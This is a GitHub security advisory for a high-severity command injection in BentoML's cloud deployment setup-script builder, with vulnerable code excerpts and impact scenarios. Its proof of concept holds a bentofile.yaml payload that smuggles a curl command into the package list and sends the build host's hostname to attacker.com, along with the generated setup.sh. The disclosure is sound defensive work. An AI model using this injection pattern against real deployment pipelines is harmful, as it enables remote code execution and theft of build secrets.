GitHub Security Advisory: GHSA-fgv4-6jr3-jgfw
Package: bentoml (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 1.4.37
Patched in: 1.4.38

Summary: BentoML: Command Injection in cloud deployment setup script

Details:
Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

## Details

**Fixed paths (commit ce53491):**
- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`
- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter
- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.

**Unfixed path:**

`src/bentoml/_internal/cloud/deployment.py`, line 1648:

    def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
        content = b""
        config = BentoBuildConfig.from_bento_dir(bento_dir)
        if config.docker.system_packages:
            content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.

**Remote execution confirmed:**
- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`
- Line 908: `upload_files.append(("setup.sh", setup_script))` uploads to BentoCloud
- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment
- The script runs on the cloud build infrastructure during container setup

**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.

## Proof of Concept

bentofile.yaml:

    service: "service:svc"
    docker:
      system_packages:
        - "curl"
        - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

    apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.

## Impact

A malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.
2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment